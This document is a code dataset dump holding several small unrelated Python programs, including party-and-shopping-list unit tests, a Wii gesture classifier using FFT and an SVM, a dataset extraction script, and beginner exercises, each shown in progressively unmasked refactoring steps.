test_aPartywithNoGuestsShouldHaveNoPartyGuests():\n party = Party()\n assert 0 == party.numberOfGuests()\n\n\ndef test_aPartywithOneGuestShouldHaveOnePartyGuest():\n party = Party()\n lisa = Guest('Lisa', 'female')\n party.attendedBy(lisa)\n assert 1 == party.numberOfGuests()\n\n\ndef test_aPartywithThreeGuestsShouldHaveThreeGuests():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert 3 == party.numberOfGuests()\n\n\ndef test_aGuestShouldBeAbleToLeaveAParty():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n party.leftBy(rob)\n assert 2 == party.numberOfGuests()\n\n\ndef test_aPartyShouldHaveALocation():\n party = Party()\n party.setLocation('my House')\n assert 'my House' == party.getLocation()\n\n\ndef test_aGuestShouldRevealHerName():\n guest1 = Guest('Lisa', 'female')\n assert 'Lisa' == guest1.hasName()\n\n\ndef test_weShouldKnowWhoIsAtTheParty():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert ['Lisa', 'Rob', 'susan'] == party.getAttendees()\n\n\ndef test_weShouldBeAbleToCreateAnEmptyShoppingList():\n shoppingList = ShoppingList()\n assert shoppingList.getItems() == []\n\n\ndef test_weShouldBeAbleToAddItemsToShoppingList():\n shoppingList = ShoppingList()\n shoppingList.add('milk')\n assert shoppingList.getItems() == ['milk']\n\n\ndef test_createShoppingListBasedOnParty():\n shoppingList = ShoppingList()\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n shoppingList.baseOn(party)\n assert shoppingList.getItems() == ['wine for 4', 'food for 4']\n", "step-5": "import unittest\nfrom app.party import Party\nfrom app.guest import Guest\nfrom app.shoppingList import ShoppingList\n\ndef test_aPartywithNoGuestsShouldHaveNoPartyGuests():\n\tparty = Party()\n\tassert 0 == party.numberOfGuests()\n\n\ndef test_aPartywithOneGuestShouldHaveOnePartyGuest():\n\tparty = Party()\n\tlisa = Guest(\"Lisa\", 'female')\n\tparty.attendedBy(lisa)\n\tassert 1 == party.numberOfGuests()\n\ndef test_aPartywithThreeGuestsShouldHaveThreeGuests():\n\tparty = Party()\n\tlisa = Guest(\"Lisa\", 'female')\n\trob = Guest(\"Rob\", 'male')\n\tsusan = Guest(\"susan\", 'female')\n\tparty.attendedBy(lisa)\n\tparty.attendedBy(rob)\n\tparty.attendedBy(susan)\n\tassert 3 == party.numberOfGuests()\n\ndef test_aGuestShouldBeAbleToLeaveAParty():\n\tparty = Party()\n\tlisa = Guest(\"Lisa\", 'female')\n\trob = Guest(\"Rob\", 'male')\n\tsusan = Guest(\"susan\", 'female')\n\tparty.attendedBy(lisa)\n\tparty.attendedBy(rob)\n\tparty.attendedBy(susan)\n\tparty.leftBy(rob)\n\tassert 2 == party.numberOfGuests()\n\ndef test_aPartyShouldHaveALocation():\n\tparty = Party()\n\tparty.setLocation(\"my House\")\n\tassert \"my House\" == party.getLocation()\n\n\ndef test_aGuestShouldRevealHerName():\n\tguest1 = Guest(\"Lisa\", \"female\")\n\tassert \"Lisa\" == guest1.hasName()\n\ndef test_weShouldKnowWhoIsAtTheParty():\n\tparty = Party()\n\tlisa = Guest(\"Lisa\", 'female')\n\trob = Guest(\"Rob\", 'male')\n\tsusan = Guest(\"susan\", 'female')\n\tparty.attendedBy(lisa)\n\tparty.attendedBy(rob)\n\tparty.attendedBy(susan)\n\tassert [\"Lisa\", \"Rob\", \"susan\"] == party.getAttendees()\n\n\ndef test_weShouldBeAbleToCreateAnEmptyShoppingList():\n\tshoppingList = ShoppingList()\n\tassert shoppingList.getItems() == []\n\ndef test_weShouldBeAbleToAddItemsToShoppingList():\n\tshoppingList = ShoppingList()\n\tshoppingList.add(\"milk\")\n\tassert shoppingList.getItems() == [\"milk\"]\n\n\ndef test_createShoppingListBasedOnParty():\n\tshoppingList = ShoppingList()\n\tparty = Party()\n\tlisa = Guest(\"Lisa\", 'female')\n\trob = Guest(\"Rob\", 'male')\n\tsusan = Guest(\"susan\", 'female')\n\tparty.attendedBy(lisa)\n\tparty.attendedBy(rob)\n\tparty.attendedBy(susan)\n\tshoppingList.baseOn(party)\n\tassert shoppingList.getItems() == [\"wine for 4\", \"food for 4\"]\n\n\n", "step-ids": [ 6, 8, 9, 10, 12 ] }
[ 6, 8, 9, 10, 12 ]
import math r = float(input()) p = int(input()) obim = 2 * r * math.pi ukupanPut = p * obim # centimetre pretvaramo u metre ukupanPut = ukupanPut * 0.01 print("%.2f" % ukupanPut)
normal
{ "blob_id": "1f27b697985c7417e6d8d978703175a415c6c57d", "index": 327, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint('%.2f' % ukupanPut)\n", "step-3": "<mask token>\nr = float(input())\np = int(input())\nobim = 2 * r * math.pi\nukupanPut = p * obim\nukupanPut = ukupanPut * 0.01\nprint('%.2f' % ukupanPut)\n", "step-4": "import math\nr = float(input())\np = int(input())\nobim = 2 * r * math.pi\nukupanPut = p * obim\nukupanPut = ukupanPut * 0.01\nprint('%.2f' % ukupanPut)\n", "step-5": "import math\n\nr = float(input())\np = int(input())\nobim = 2 * r * math.pi\nukupanPut = p * obim\n# centimetre pretvaramo u metre\nukupanPut = ukupanPut * 0.01\nprint(\"%.2f\" % ukupanPut)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
import numpy as np from scipy import fft import math from sklearn import svm from activity_recognition import WiiGesture class WiiGestureClassifier(): """ This class uses the FFT on the average of all three sensor values to provide the training data for the SVM Three good distinguishable gestures are: Fast circle movement Still, doing nothing Fast swing movement from behind the shoulder (like a whip) """ def __init__(self): super(self.__class__, self).__init__() def train(self, gestureList): self.gestureList = gestureList self.parsedGestureList = [] self.parseArrays(self.gestureList) if self.checkListForEmpty(): return "\na gesture has no trained samples" self.minlen = self.calcMinLength() self.cutGestureList() self.getFrequencies() self.buildClassifier() def parseArrays(self, data): parsedData = [] for gesture in data: parsedGesture = WiiGesture(gesture.name) parsedData = [self.parseDataset(dataSet) for dataSet in gesture.trainingsData] parsedGesture.trainingsData = parsedData self.parsedGestureList.append(parsedGesture) def parseDataset(self, dataSet): x = [] y = [] z = [] avg = [] #Use the difference from default sensor value for values in dataSet: x.append(values[0]-512) y.append(values[1]-512) z.append(values[2]-512) avg.append((values[0]-512 + values[1]-512 + values[2]-512) / 3) return avg def calcMinLength(self): all = [] for gesture in self.parsedGestureList: all += gesture.trainingsData minlen = min([len(x) for x in all]) return minlen def cutGestureList(self): for gesture in self.parsedGestureList: gesture.trainingsData = [l[:self.minlen] for l in gesture.trainingsData] def getFrequencies(self): for gesture in self.parsedGestureList: gesture.frequencies = [ np.abs(fft(l) / len(l))[1:len(l) / 2] for l in gesture.trainingsData] def buildClassifier(self): self.c = svm.SVC() count = 0 categories = [] trainingData = [] for gesture in self.parsedGestureList: categories += [count] * len(gesture.frequencies) trainingData += gesture.frequencies count += 1 try: self.c.fit(trainingData, categories) except ValueError: return 'More traininsdata for some gestures required' def classify(self, gesture): parsedData = [] parsedGesture = WiiGesture(gesture.name) parsedData = [self.parseDataset(dataSet) for dataSet in gesture.trainingsData] parsedGesture.trainingsData = parsedData if len(parsedGesture.trainingsData[0]) < self.minlen: missingValues = self.minlen - len(parsedGesture.trainingsData[0]) for x in range(missingValues): parsedGesture.trainingsData[0].append(0) parsedGesture.trainingsData = [l[:self.minlen] for l in parsedGesture.trainingsData] parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for l in parsedGesture.trainingsData] return self.c.predict(parsedGesture.frequencies[0]) def checkListForEmpty(self): #checks for empty gestures and exits code if len(self.parsedGestureList) <= 0: return True for gesture in self.parsedGestureList: if len(gesture.trainingsData) <= 0: return True else: return False
normal
{ "blob_id": "0b7bba826b82c3751c072395431e17bc1dc9bb90", "index": 6037, "step-1": "<mask token>\n\n\nclass WiiGestureClassifier:\n <mask token>\n\n def __init__(self):\n super(self.__class__, self).__init__()\n <mask token>\n\n def parseArrays(self, data):\n parsedData = []\n for gesture in data:\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture\n .trainingsData]\n parsedGesture.trainingsData = parsedData\n self.parsedGestureList.append(parsedGesture)\n <mask token>\n\n def calcMinLength(self):\n all = []\n for gesture in self.parsedGestureList:\n all += gesture.trainingsData\n minlen = min([len(x) for x in all])\n return minlen\n\n def cutGestureList(self):\n for gesture in self.parsedGestureList:\n gesture.trainingsData = [l[:self.minlen] for l in gesture.\n trainingsData]\n <mask token>\n\n def buildClassifier(self):\n self.c = svm.SVC()\n count = 0\n categories = []\n trainingData = []\n for gesture in self.parsedGestureList:\n categories += [count] * len(gesture.frequencies)\n trainingData += gesture.frequencies\n count += 1\n try:\n self.c.fit(trainingData, categories)\n except ValueError:\n return 'More traininsdata for some gestures required'\n\n def classify(self, gesture):\n parsedData = []\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture.\n trainingsData]\n parsedGesture.trainingsData = parsedData\n if len(parsedGesture.trainingsData[0]) < self.minlen:\n missingValues = self.minlen - len(parsedGesture.trainingsData[0])\n for x in range(missingValues):\n parsedGesture.trainingsData[0].append(0)\n parsedGesture.trainingsData = [l[:self.minlen] for l in\n parsedGesture.trainingsData]\n parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in parsedGesture.trainingsData]\n return self.c.predict(parsedGesture.frequencies[0])\n <mask token>\n", "step-2": "<mask token>\n\n\nclass WiiGestureClassifier:\n <mask token>\n\n def __init__(self):\n super(self.__class__, self).__init__()\n <mask token>\n\n def parseArrays(self, data):\n parsedData = []\n for gesture in data:\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture\n .trainingsData]\n parsedGesture.trainingsData = parsedData\n self.parsedGestureList.append(parsedGesture)\n <mask token>\n\n def calcMinLength(self):\n all = []\n for gesture in self.parsedGestureList:\n all += gesture.trainingsData\n minlen = min([len(x) for x in all])\n return minlen\n\n def cutGestureList(self):\n for gesture in self.parsedGestureList:\n gesture.trainingsData = [l[:self.minlen] for l in gesture.\n trainingsData]\n <mask token>\n\n def buildClassifier(self):\n self.c = svm.SVC()\n count = 0\n categories = []\n trainingData = []\n for gesture in self.parsedGestureList:\n categories += [count] * len(gesture.frequencies)\n trainingData += gesture.frequencies\n count += 1\n try:\n self.c.fit(trainingData, categories)\n except ValueError:\n return 'More traininsdata for some gestures required'\n\n def classify(self, gesture):\n parsedData = []\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture.\n trainingsData]\n parsedGesture.trainingsData = parsedData\n if len(parsedGesture.trainingsData[0]) < self.minlen:\n missingValues = self.minlen - len(parsedGesture.trainingsData[0])\n for x in range(missingValues):\n parsedGesture.trainingsData[0].append(0)\n parsedGesture.trainingsData = [l[:self.minlen] for l in\n parsedGesture.trainingsData]\n parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in parsedGesture.trainingsData]\n return self.c.predict(parsedGesture.frequencies[0])\n\n def checkListForEmpty(self):\n if len(self.parsedGestureList) <= 0:\n return True\n for gesture in self.parsedGestureList:\n if len(gesture.trainingsData) <= 0:\n return True\n else:\n return False\n", "step-3": "<mask token>\n\n\nclass WiiGestureClassifier:\n <mask token>\n\n def __init__(self):\n super(self.__class__, self).__init__()\n\n def train(self, gestureList):\n self.gestureList = gestureList\n self.parsedGestureList = []\n self.parseArrays(self.gestureList)\n if self.checkListForEmpty():\n return '\\na gesture has no trained samples'\n self.minlen = self.calcMinLength()\n self.cutGestureList()\n self.getFrequencies()\n self.buildClassifier()\n\n def parseArrays(self, data):\n parsedData = []\n for gesture in data:\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture\n .trainingsData]\n parsedGesture.trainingsData = parsedData\n self.parsedGestureList.append(parsedGesture)\n <mask token>\n\n def calcMinLength(self):\n all = []\n for gesture in self.parsedGestureList:\n all += gesture.trainingsData\n minlen = min([len(x) for x in all])\n return minlen\n\n def cutGestureList(self):\n for gesture in self.parsedGestureList:\n gesture.trainingsData = [l[:self.minlen] for l in gesture.\n trainingsData]\n\n def getFrequencies(self):\n for gesture in self.parsedGestureList:\n gesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in gesture.trainingsData]\n\n def buildClassifier(self):\n self.c = svm.SVC()\n count = 0\n categories = []\n trainingData = []\n for gesture in self.parsedGestureList:\n categories += [count] * len(gesture.frequencies)\n trainingData += gesture.frequencies\n count += 1\n try:\n self.c.fit(trainingData, categories)\n except ValueError:\n return 'More traininsdata for some gestures required'\n\n def classify(self, gesture):\n parsedData = []\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture.\n trainingsData]\n parsedGesture.trainingsData = parsedData\n if len(parsedGesture.trainingsData[0]) < self.minlen:\n missingValues = self.minlen - len(parsedGesture.trainingsData[0])\n for x in range(missingValues):\n parsedGesture.trainingsData[0].append(0)\n parsedGesture.trainingsData = [l[:self.minlen] for l in\n parsedGesture.trainingsData]\n parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in parsedGesture.trainingsData]\n return self.c.predict(parsedGesture.frequencies[0])\n\n def checkListForEmpty(self):\n if len(self.parsedGestureList) <= 0:\n return True\n for gesture in self.parsedGestureList:\n if len(gesture.trainingsData) <= 0:\n return True\n else:\n return False\n", "step-4": "import numpy as np\nfrom scipy import fft\nimport math\nfrom sklearn import svm\nfrom activity_recognition import WiiGesture\n\n\nclass WiiGestureClassifier:\n \"\"\"\n This class uses the FFT on the average of all three sensor values\n to provide the training data for the SVM\n\n Three good distinguishable gestures are:\n Fast circle movement\n Still, doing nothing\n Fast swing movement from behind the shoulder (like a whip)\n \"\"\"\n\n def __init__(self):\n super(self.__class__, self).__init__()\n\n def train(self, gestureList):\n self.gestureList = gestureList\n self.parsedGestureList = []\n self.parseArrays(self.gestureList)\n if self.checkListForEmpty():\n return '\\na gesture has no trained samples'\n self.minlen = self.calcMinLength()\n self.cutGestureList()\n self.getFrequencies()\n self.buildClassifier()\n\n def parseArrays(self, data):\n parsedData = []\n for gesture in data:\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture\n .trainingsData]\n parsedGesture.trainingsData = parsedData\n self.parsedGestureList.append(parsedGesture)\n\n def parseDataset(self, dataSet):\n x = []\n y = []\n z = []\n avg = []\n for values in dataSet:\n x.append(values[0] - 512)\n y.append(values[1] - 512)\n z.append(values[2] - 512)\n avg.append((values[0] - 512 + values[1] - 512 + values[2] - 512\n ) / 3)\n return avg\n\n def calcMinLength(self):\n all = []\n for gesture in self.parsedGestureList:\n all += gesture.trainingsData\n minlen = min([len(x) for x in all])\n return minlen\n\n def cutGestureList(self):\n for gesture in self.parsedGestureList:\n gesture.trainingsData = [l[:self.minlen] for l in gesture.\n trainingsData]\n\n def getFrequencies(self):\n for gesture in self.parsedGestureList:\n gesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in gesture.trainingsData]\n\n def buildClassifier(self):\n self.c = svm.SVC()\n count = 0\n categories = []\n trainingData = []\n for gesture in self.parsedGestureList:\n categories += [count] * len(gesture.frequencies)\n trainingData += gesture.frequencies\n count += 1\n try:\n self.c.fit(trainingData, categories)\n except ValueError:\n return 'More traininsdata for some gestures required'\n\n def classify(self, gesture):\n parsedData = []\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture.\n trainingsData]\n parsedGesture.trainingsData = parsedData\n if len(parsedGesture.trainingsData[0]) < self.minlen:\n missingValues = self.minlen - len(parsedGesture.trainingsData[0])\n for x in range(missingValues):\n parsedGesture.trainingsData[0].append(0)\n parsedGesture.trainingsData = [l[:self.minlen] for l in\n parsedGesture.trainingsData]\n parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in parsedGesture.trainingsData]\n return self.c.predict(parsedGesture.frequencies[0])\n\n def checkListForEmpty(self):\n if len(self.parsedGestureList) <= 0:\n return True\n for gesture in self.parsedGestureList:\n if len(gesture.trainingsData) <= 0:\n return True\n else:\n return False\n", "step-5": "import numpy as np\nfrom scipy import fft\nimport math\nfrom sklearn import svm\nfrom activity_recognition import WiiGesture\n\n\nclass WiiGestureClassifier():\n \"\"\"\n This class uses the FFT on the average of all three sensor values\n to provide the training data for the SVM\n\n Three good distinguishable gestures are:\n Fast circle movement\n Still, doing nothing\n Fast swing movement from behind the shoulder (like a whip)\n \"\"\"\n def __init__(self):\n super(self.__class__, self).__init__()\n\n def train(self, gestureList):\n self.gestureList = gestureList\n self.parsedGestureList = []\n self.parseArrays(self.gestureList)\n if self.checkListForEmpty():\n return \"\\na gesture has no trained samples\"\n self.minlen = self.calcMinLength()\n self.cutGestureList()\n self.getFrequencies()\n self.buildClassifier()\n\n\n def parseArrays(self, data):\n parsedData = []\n for gesture in data:\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet)\n for dataSet in gesture.trainingsData]\n parsedGesture.trainingsData = parsedData\n self.parsedGestureList.append(parsedGesture)\n\n def parseDataset(self, dataSet):\n x = []\n y = []\n z = []\n avg = []\n #Use the difference from default sensor value\n for values in dataSet:\n x.append(values[0]-512)\n y.append(values[1]-512)\n z.append(values[2]-512)\n avg.append((values[0]-512 + values[1]-512 + values[2]-512) / 3)\n return avg\n\n def calcMinLength(self):\n all = []\n for gesture in self.parsedGestureList:\n all += gesture.trainingsData\n minlen = min([len(x) for x in all])\n return minlen\n\n def cutGestureList(self):\n for gesture in self.parsedGestureList:\n gesture.trainingsData = [l[:self.minlen] for l in gesture.trainingsData]\n\n def getFrequencies(self):\n for gesture in self.parsedGestureList:\n gesture.frequencies = [\n np.abs(fft(l) / len(l))[1:len(l) / 2] for l in gesture.trainingsData]\n\n def buildClassifier(self):\n self.c = svm.SVC()\n count = 0\n categories = []\n trainingData = []\n for gesture in self.parsedGestureList:\n categories += [count] * len(gesture.frequencies)\n trainingData += gesture.frequencies\n count += 1\n try:\n self.c.fit(trainingData, categories)\n except ValueError:\n return 'More traininsdata for some gestures required'\n\n def classify(self, gesture):\n parsedData = []\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture.trainingsData]\n parsedGesture.trainingsData = parsedData\n if len(parsedGesture.trainingsData[0]) < self.minlen:\n missingValues = self.minlen - len(parsedGesture.trainingsData[0])\n for x in range(missingValues):\n parsedGesture.trainingsData[0].append(0)\n parsedGesture.trainingsData = [l[:self.minlen] for l in parsedGesture.trainingsData]\n parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for l in parsedGesture.trainingsData]\n return self.c.predict(parsedGesture.frequencies[0])\n\n def checkListForEmpty(self):\n #checks for empty gestures and exits code\n if len(self.parsedGestureList) <= 0:\n return True\n for gesture in self.parsedGestureList:\n if len(gesture.trainingsData) <= 0:\n return True\n else:\n return False", "step-ids": [ 7, 8, 10, 13, 14 ] }
[ 7, 8, 10, 13, 14 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> if real_fdragon50 == input: print('Hello!') else: print('Who are you') <|reserved_special_token_1|> <|reserved_special_token_0|> input = 11 real_fdragon50 = 11 if real_fdragon50 == input: print('Hello!') else: print('Who are you') <|reserved_special_token_1|> ''' #조건문 예제 #fdragon50 #2016 ''' # 주석 : 도움말/덧글 / 미사용(추후 사용가능한) 코드 기록 # 여러줄의 문자열 표현은 ''' ''' 사이에 표현 가능하나 사용은 권장않음 # #으로 시작하는것은 문자열 자체가 아닌.. 무시되는 구간 # 주석은 누가봐도 이해할수있게 / 간결하게 # 더 좋은것은 누가봐도 이해할수 있는 코드임 # 가독성이 좋은 코드를 만들수 있도록.. #조건문 예제 #fdragon50 #2016 input = 11 real_fdragon50 = 11 #real_k8805 = "ab" if real_fdragon50 == input: print("Hello!") #elif real_k8805 == input: # print("Hello!") else: print("Who are you")
flexible
{ "blob_id": "2da6debb1f9ae2c966a17fdfb3b668160a3ef8d7", "index": 1384, "step-1": "<mask token>\n", "step-2": "<mask token>\nif real_fdragon50 == input:\n print('Hello!')\nelse:\n print('Who are you')\n", "step-3": "<mask token>\ninput = 11\nreal_fdragon50 = 11\nif real_fdragon50 == input:\n print('Hello!')\nelse:\n print('Who are you')\n", "step-4": "'''\n#조건문 예제\n#fdragon50\n#2016\n'''\n\n\n# 주석 : 도움말/덧글 / 미사용(추후 사용가능한) 코드 기록\n# 여러줄의 문자열 표현은 ''' ''' 사이에 표현 가능하나 사용은 권장않음\n# #으로 시작하는것은 문자열 자체가 아닌.. 무시되는 구간\n# 주석은 누가봐도 이해할수있게 / 간결하게\n# 더 좋은것은 누가봐도 이해할수 있는 코드임\n# 가독성이 좋은 코드를 만들수 있도록..\n\n#조건문 예제\n#fdragon50\n#2016\n\n\ninput = 11\nreal_fdragon50 = 11\n#real_k8805 = \"ab\"\n\nif real_fdragon50 == input:\n print(\"Hello!\")\n#elif real_k8805 == input:\n# print(\"Hello!\")\nelse:\n print(\"Who are you\")\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
import glob from collections import defaultdict from stylalto.datasets.extractor import read_alto_for_training, extract_images_from_bbox_dict_for_training, split_dataset data = defaultdict(list) images = {} for xml_path in glob.glob("./input/**/*.xml", recursive=True): current, image = read_alto_for_training(xml_path) images[image] = current for key in current: data[key].extend(current[key]) minimum = float("inf") for cls in data: total = sum([len(val) for val in data.values()]) print(f"{cls.zfill(10).replace('0', ' ')} : {len(data[cls]) / total:.2f} of the whole ({len(data[cls])})") minimum = min([len(data[cls]), minimum]) # Extract images extract_images_from_bbox_dict_for_training(images, output_dir="./data/") # Split into dataset split_dataset("./data/*", max_size=minimum, except_for_train=True)
normal
{ "blob_id": "41e642c4acb212470577ef43908a1dcf2e0f5730", "index": 7159, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor xml_path in glob.glob('./input/**/*.xml', recursive=True):\n current, image = read_alto_for_training(xml_path)\n images[image] = current\n for key in current:\n data[key].extend(current[key])\n<mask token>\nfor cls in data:\n total = sum([len(val) for val in data.values()])\n print(\n f\"{cls.zfill(10).replace('0', ' ')} : {len(data[cls]) / total:.2f} of the whole ({len(data[cls])})\"\n )\n minimum = min([len(data[cls]), minimum])\nextract_images_from_bbox_dict_for_training(images, output_dir='./data/')\nsplit_dataset('./data/*', max_size=minimum, except_for_train=True)\n", "step-3": "<mask token>\ndata = defaultdict(list)\nimages = {}\nfor xml_path in glob.glob('./input/**/*.xml', recursive=True):\n current, image = read_alto_for_training(xml_path)\n images[image] = current\n for key in current:\n data[key].extend(current[key])\nminimum = float('inf')\nfor cls in data:\n total = sum([len(val) for val in data.values()])\n print(\n f\"{cls.zfill(10).replace('0', ' ')} : {len(data[cls]) / total:.2f} of the whole ({len(data[cls])})\"\n )\n minimum = min([len(data[cls]), minimum])\nextract_images_from_bbox_dict_for_training(images, output_dir='./data/')\nsplit_dataset('./data/*', max_size=minimum, except_for_train=True)\n", "step-4": "import glob\nfrom collections import defaultdict\nfrom stylalto.datasets.extractor import read_alto_for_training, extract_images_from_bbox_dict_for_training, split_dataset\ndata = defaultdict(list)\nimages = {}\nfor xml_path in glob.glob('./input/**/*.xml', recursive=True):\n current, image = read_alto_for_training(xml_path)\n images[image] = current\n for key in current:\n data[key].extend(current[key])\nminimum = float('inf')\nfor cls in data:\n total = sum([len(val) for val in data.values()])\n print(\n f\"{cls.zfill(10).replace('0', ' ')} : {len(data[cls]) / total:.2f} of the whole ({len(data[cls])})\"\n )\n minimum = min([len(data[cls]), minimum])\nextract_images_from_bbox_dict_for_training(images, output_dir='./data/')\nsplit_dataset('./data/*', max_size=minimum, except_for_train=True)\n", "step-5": "import glob\nfrom collections import defaultdict\nfrom stylalto.datasets.extractor import read_alto_for_training, extract_images_from_bbox_dict_for_training, split_dataset\n\n\ndata = defaultdict(list)\nimages = {}\nfor xml_path in glob.glob(\"./input/**/*.xml\", recursive=True):\n current, image = read_alto_for_training(xml_path)\n images[image] = current\n for key in current:\n data[key].extend(current[key])\n\nminimum = float(\"inf\")\nfor cls in data:\n total = sum([len(val) for val in data.values()])\n print(f\"{cls.zfill(10).replace('0', ' ')} : {len(data[cls]) / total:.2f} of the whole ({len(data[cls])})\")\n minimum = min([len(data[cls]), minimum])\n\n# Extract images\nextract_images_from_bbox_dict_for_training(images, output_dir=\"./data/\")\n\n# Split into dataset\nsplit_dataset(\"./data/*\", max_size=minimum, except_for_train=True)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for x in values: for y in values: if x + y == 100 and x != y: value1 = x value2 = y print(value1) print(value2) <|reserved_special_token_1|> <|reserved_special_token_0|> values = [72, 50, 48, 50, 7, 66, 62, 32, 33, 75, 30, 85, 6, 85, 82, 88, 30, 32, 78, 39, 57, 96, 45, 57, 61, 10, 62, 48, 32, 96, 75, 15, 50, 50] value1 = None value2 = None for x in values: for y in values: if x + y == 100 and x != y: value1 = x value2 = y print(value1) print(value2) <|reserved_special_token_1|> """ Find two distinct numbers in values whose sum is equal to 100. Assign one of them to value1 and the other one to value2. If there are several solutions, any one will be marked as correct. Optional step to check your answer: Print the value of value1 and value2. """ values = [72, 50, 48, 50, 7, 66, 62, 32, 33, 75, 30, 85, 6, 85, 82, 88, 30, 32, 78, 39, 57, 96, 45, 57, 61, 10, 62, 48, 32, 96, 75, 15, 50, 50] value1 = None value2 = None for x in values: for y in values: if x + y == 100 and x != y: value1 = x value2 = y print(value1) print(value2)
flexible
{ "blob_id": "c0ebf10b8c0cb4af11608cafcdb85dbff4abdf90", "index": 4755, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor x in values:\n for y in values:\n if x + y == 100 and x != y:\n value1 = x\n value2 = y\nprint(value1)\nprint(value2)\n", "step-3": "<mask token>\nvalues = [72, 50, 48, 50, 7, 66, 62, 32, 33, 75, 30, 85, 6, 85, 82, 88, 30,\n 32, 78, 39, 57, 96, 45, 57, 61, 10, 62, 48, 32, 96, 75, 15, 50, 50]\nvalue1 = None\nvalue2 = None\nfor x in values:\n for y in values:\n if x + y == 100 and x != y:\n value1 = x\n value2 = y\nprint(value1)\nprint(value2)\n", "step-4": "\"\"\"\r\nFind two distinct numbers in values whose sum is equal to 100.\r\nAssign one of them to value1 and the other one to value2.\r\nIf there are several solutions, any one will be marked as correct.\r\n\r\nOptional step to check your answer:\r\n\r\nPrint the value of value1 and value2.\r\n\"\"\"\r\n\r\n\r\nvalues = [72, 50, 48, 50, 7, 66, 62, 32, 33, 75, 30, 85, 6, 85, 82, 88, 30, 32, 78, 39, 57, 96, 45, 57, 61, 10, 62, 48, 32, 96, 75, 15, 50, 50]\r\n\r\nvalue1 = None\r\nvalue2 = None\r\nfor x in values:\r\n for y in values:\r\n if x + y == 100 and x != y:\r\n value1 = x\r\n value2 = y\r\n \r\nprint(value1)\r\nprint(value2)", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
''' Given a sorted array and a target value, return the index if the target is found. If not, return the index where it would be if it were inserted in order. You may assume no duplicates in the array. Here are few examples. [1,3,5,6], 5 -> 2 [1,3,5,6], 2 -> 1 [1,3,5,6], 7 -> 4 [1,3,5,6], 0 -> 0 ''' class Solution(object): def searchInsert(self, nums, target): if target < nums[0]: return 0 if target > nums[-1]: return len(nums) l_idx, h_idx = 0, len(nums)-1 while True: m_idx = int((l_idx+h_idx)/2) if l_idx >= h_idx: return l_idx elif target > nums[m_idx]: l_idx = m_idx + 1 else: h_idx = m_idx sol = Solution() print sol.searchInsert([1,3,5,6], 5) print sol.searchInsert([1,3,5,6], 2) print sol.searchInsert([1,3,5,6], 4) print sol.searchInsert([1,3,5,6], 0)
normal
{ "blob_id": "0a7ffc027511d5fbec0076f6b25a6e3bc3dfdd9b", "index": 12, "step-1": "'''\nGiven a sorted array and a target value, return the index if the target is found.\nIf not, return the index where it would be if it were inserted in order.\n\nYou may assume no duplicates in the array.\n\nHere are few examples.\n[1,3,5,6], 5 -> 2\n[1,3,5,6], 2 -> 1\n[1,3,5,6], 7 -> 4\n[1,3,5,6], 0 -> 0\n'''\n\nclass Solution(object):\n def searchInsert(self, nums, target):\n if target < nums[0]:\n return 0\n if target > nums[-1]:\n return len(nums)\n\n l_idx, h_idx = 0, len(nums)-1\n\n while True:\n m_idx = int((l_idx+h_idx)/2)\n if l_idx >= h_idx:\n return l_idx\n elif target > nums[m_idx]:\n l_idx = m_idx + 1\n else:\n h_idx = m_idx\n\nsol = Solution()\nprint sol.searchInsert([1,3,5,6], 5)\nprint sol.searchInsert([1,3,5,6], 2)\nprint sol.searchInsert([1,3,5,6], 4)\nprint sol.searchInsert([1,3,5,6], 0)\n\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
